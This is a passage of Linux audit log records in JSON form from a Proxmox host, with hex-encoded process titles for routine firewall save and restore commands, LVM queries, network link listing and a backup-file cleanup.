cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965855967,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965855.967:67408): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965775449,"@rawstring":"node=pve type=PATH msg=audit(1781965775.449:67045): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965855963,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965855.963:67407): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965775445,"@rawstring":"node=pve type=PATH msg=audit(1781965775.445:67044): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965855962,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965855.962:67406): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965775445,"@rawstring":"node=pve type=PATH msg=audit(1781965775.445:67044): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965855962,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965855.962:67405): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965775444,"@rawstring":"node=pve type=PATH msg=audit(1781965775.444:67043): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965855957,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965855.957:67404): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965775444,"@rawstring":"node=pve type=PATH msg=audit(1781965775.444:67043): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965855950,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965855.950:67403): proctitle=\"ip6tables-save\""} {"@timestamp":1781965775444,"@rawstring":"node=pve type=PATH msg=audit(1781965775.444:67042): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965855940,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965855.940:67402): proctitle=\"iptables-save\""} {"@timestamp":1781965775439,"@rawstring":"node=pve type=PATH msg=audit(1781965775.439:67041): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965855932,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965855.932:67401): proctitle=\"ip6tables-save\""} {"@timestamp":1781965775439,"@rawstring":"node=pve type=PATH msg=audit(1781965775.439:67041): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965855924,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965855.924:67400): proctitle=\"iptables-save\""} {"@timestamp":1781965775439,"@rawstring":"node=pve type=PATH msg=audit(1781965775.439:67041): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965855920,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965855.920:67399): proctitle=\"ebtables-restore\""} {"@timestamp":1781965775431,"@rawstring":"node=pve type=PATH msg=audit(1781965775.431:67040): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965855917,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965855.917:67398): proctitle=\"ebtables-restore\""} {"@timestamp":1781965775431,"@rawstring":"node=pve type=PATH msg=audit(1781965775.431:67040): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965855909,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965855.909:67397): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965775425,"@rawstring":"node=pve type=PATH msg=audit(1781965775.425:67039): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965855901,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965855.901:67396): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965775425,"@rawstring":"node=pve type=PATH msg=audit(1781965775.425:67039): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965855894,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965855.894:67395): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965775419,"@rawstring":"node=pve type=PATH msg=audit(1781965775.419:67038): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965855887,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965855.887:67394): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965775419,"@rawstring":"node=pve type=PATH msg=audit(1781965775.419:67038): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965855881,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965855.881:67393): proctitle=697073657400726573746F7265"} {"@timestamp":1781965775411,"@rawstring":"node=pve type=PATH msg=audit(1781965775.411:67037): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965855872,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965855.872:67392): proctitle=\"ip6tables-save\""} {"@timestamp":1781965775411,"@rawstring":"node=pve type=PATH msg=audit(1781965775.411:67037): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965855865,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965855.865:67391): proctitle=\"iptables-save\""} {"@timestamp":1781965775401,"@rawstring":"node=pve type=PATH msg=audit(1781965775.401:67036): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965855861,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965855.861:67390): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965775401,"@rawstring":"node=pve type=PATH msg=audit(1781965775.401:67036): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965855856,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965855.856:67389): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965775001,"@rawstring":"node=pve type=PATH msg=audit(1781965775.001:67035): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965855855,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965855.855:67388): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965775001,"@rawstring":"node=pve type=PATH msg=audit(1781965775.001:67035): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965855855,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965855.855:67387): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965774963,"@rawstring":"node=pve type=PATH msg=audit(1781965774.963:67034): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965855851,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965855.851:67386): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965774963,"@rawstring":"node=pve type=PATH msg=audit(1781965774.963:67034): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965855841,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965855.841:67385): proctitle=\"ip6tables-save\""} {"@timestamp":1781965774248,"@rawstring":"node=pve type=PATH msg=audit(1781965774.248:67033): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965855833,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965855.833:67384): proctitle=\"iptables-save\""} {"@timestamp":1781965774248,"@rawstring":"node=pve type=PATH msg=audit(1781965774.248:67033): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965855826,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965855.826:67383): proctitle=69707365740073617665"} {"@timestamp":1781965774248,"@rawstring":"node=pve type=PATH msg=audit(1781965774.248:67032): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965855818,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965855.818:67382): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965774248,"@rawstring":"node=pve type=PATH msg=audit(1781965774.248:67031): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965855809,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965855.809:67381): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965774240,"@rawstring":"node=pve type=PATH msg=audit(1781965774.240:67030): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965854544,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965854.544:67380): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965774240,"@rawstring":"node=pve type=PATH msg=audit(1781965774.240:67030): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965854544,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965854.544:67379): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965774240,"@rawstring":"node=pve type=PATH msg=audit(1781965774.240:67029): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965854544,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965854.544:67378): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965774240,"@rawstring":"node=pve type=PATH msg=audit(1781965774.240:67028): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965854535,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965854.535:67377): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965769227,"@rawstring":"node=pve type=PATH msg=audit(1781965769.227:67027): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965854535,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965854.535:67376): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965769227,"@rawstring":"node=pve type=PATH msg=audit(1781965769.227:67027): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965854535,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965854.535:67375): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965769227,"@rawstring":"node=pve type=PATH msg=audit(1781965769.227:67026): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965854175,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965854.175:67374): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965769227,"@rawstring":"node=pve type=PATH msg=audit(1781965769.227:67025): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965854147,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965854.147:67373): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965769219,"@rawstring":"node=pve type=PATH msg=audit(1781965769.219:67024): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965852807,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965852.807:67372): proctitle=726D002D66002E2F767A64756D702D71656D752D3837372E746172"} {"@timestamp":1781965769219,"@rawstring":"node=pve type=PATH msg=audit(1781965769.219:67024): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965849526,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965849.526:67371): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965769219,"@rawstring":"node=pve type=PATH msg=audit(1781965769.219:67023): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965849526,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965849.526:67370): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965769219,"@rawstring":"node=pve type=PATH msg=audit(1781965769.219:67022): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965849526,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965849.526:67369): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965765390,"@rawstring":"node=pve type=PATH msg=audit(1781965765.390:67021): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965849514,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965849.514:67368): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965765390,"@rawstring":"node=pve type=PATH msg=audit(1781965765.390:67021): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965849514,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965849.514:67367): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965765388,"@rawstring":"node=pve type=PATH msg=audit(1781965765.388:67020): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965849514,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965849.514:67366): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965765388,"@rawstring":"node=pve type=PATH msg=audit(1781965765.388:67020): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965845797,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965845.797:67365): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965765387,"@rawstring":"node=pve type=PATH msg=audit(1781965765.387:67019): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965845793,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965845.793:67364): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965765387,"@rawstring":"node=pve type=PATH msg=audit(1781965765.387:67019): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965845792,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965845.792:67363): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965765387,"@rawstring":"node=pve type=PATH msg=audit(1781965765.387:67018): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965845792,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965845.792:67362): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965765382,"@rawstring":"node=pve type=PATH msg=audit(1781965765.382:67017): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965845787,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965845.787:67361): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965765382,"@rawstring":"node=pve type=PATH msg=audit(1781965765.382:67017): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965845775,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965845.775:67360): proctitle=\"ip6tables-save\""} {"@timestamp":1781965765382,"@rawstring":"node=pve type=PATH msg=audit(1781965765.382:67017): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965845767,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965845.767:67359): proctitle=\"iptables-save\""} {"@timestamp":1781965765374,"@rawstring":"node=pve type=PATH msg=audit(1781965765.374:67016): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965845756,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965845.756:67358): proctitle=\"ip6tables-save\""} {"@timestamp":1781965765374,"@rawstring":"node=pve type=PATH msg=audit(1781965765.374:67016): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965845748,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965845.748:67357): proctitle=\"iptables-save\""} {"@timestamp":1781965765368,"@rawstring":"node=pve type=PATH msg=audit(1781965765.368:67015): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965845744,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965845.744:67356): proctitle=\"ebtables-restore\""} {"@timestamp":1781965765368,"@rawstring":"node=pve type=PATH msg=audit(1781965765.368:67015): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965845740,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965845.740:67355): proctitle=\"ebtables-restore\""} {"@timestamp":1781965765361,"@rawstring":"node=pve type=PATH msg=audit(1781965765.361:67014): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965845734,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965845.734:67354): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965765361,"@rawstring":"node=pve type=PATH msg=audit(1781965765.361:67014): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965845726,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965845.726:67353): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965765353,"@rawstring":"node=pve type=PATH msg=audit(1781965765.353:67013): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965845719,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965845.719:67352): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965765353,"@rawstring":"node=pve type=PATH msg=audit(1781965765.353:67013): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965845712,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965845.712:67351): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965765347,"@rawstring":"node=pve type=PATH msg=audit(1781965765.347:67011): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965845704,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965845.704:67350): proctitle=697073657400726573746F7265"} {"@timestamp":1781965765347,"@rawstring":"node=pve type=PATH msg=audit(1781965765.347:67011): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965845696,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965845.696:67349): proctitle=\"ip6tables-save\""} {"@timestamp":1781965765342,"@rawstring":"node=pve type=PATH msg=audit(1781965765.342:67010): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965845687,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965845.687:67348): proctitle=\"iptables-save\""} {"@timestamp":1781965765342,"@rawstring":"node=pve type=PATH msg=audit(1781965765.342:67010): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} 